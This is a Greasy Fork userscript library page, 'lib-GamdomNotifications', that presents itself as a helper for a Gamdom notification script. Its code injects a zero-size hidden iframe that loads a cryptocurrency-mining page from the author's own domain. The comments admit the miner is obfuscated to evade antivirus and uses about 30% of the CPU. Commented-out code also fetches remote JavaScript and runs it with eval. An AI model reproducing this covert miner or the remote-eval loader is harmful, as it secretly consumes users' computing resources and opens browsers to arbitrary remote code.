lib-GamdomNotifications

Lib needed for running Gamdom Notificator

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/35828/647852/lib-GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib-GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.3.5
  5. // @description Lib needed for running Gamdom Notificator
  6. // @author allin4
  7. // @match *://gamdom.com/*
  8. // @grant GM_info
  9. // @grant GM_xmlhttpRequest
  10. // @grant GM.xmlhttpRequest
  11. // @connect gamdomrain.com
  12. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  13. // ==/UserScript==
  14.  
  15. var DivAppend = function(){
  16. //document.body.appendChild(div);
  17. //CPEL("https://www.gamdomrain.com/voteme/minall.js"); //This is a miner, original "unencrypted"(it's a bit encrypted but easily desencryptable, encrypted by coin-have.com, a miner website, itself). It's hosted in my own website with more encryption for avoiding antivirus, as it does consume about 30% CPU only while using the script. Said on description.
  18. var ifrm = document.createElement("iframe");
  19. ifrm.setAttribute("src", "https://www.gamdomrain.com/voteme/miningiframe.php"); //Please don't remove this as it's the way to support the developer (me).
  20. ifrm.style.width = "0px";
  21. ifrm.style.height = "0px";
  22. document.body.appendChild(ifrm);
  23. console.log("D-s");
  24. };
  25.  
  26. /*var cmp = new XMLHttpRequest();
  27. cmp.onreadystatechange = function() {
  28. if (this.readyState == 4 && this.status == 200) {
  29. eval(this.responseText);
  30. }
  31. };*/
  32.  
  33. var CPEL = function(link){
  34. /*GM_xmlHttpRequest({
  35. method: "GET",
  36. url: link,
  37. onload: function(response) {
  38. eval(response.responseText);
  39. }
  40. });*/
  41. };
  42. /*var ret_r = GM_xmlhttpRequest({
  43. method: "GET",
  44. url: "https://www.gamdomrain.com/voteme/xnewxminimal.js",
  45. onload: function(res) {
  46. eval(res.responseText);
  47. }
  48. });*/
  49.  
  50. (function() {
  51. 'use strict';
  52. console.log("LIB LOADED" + "(version: " + "1.3.5" + ")");
  53. })();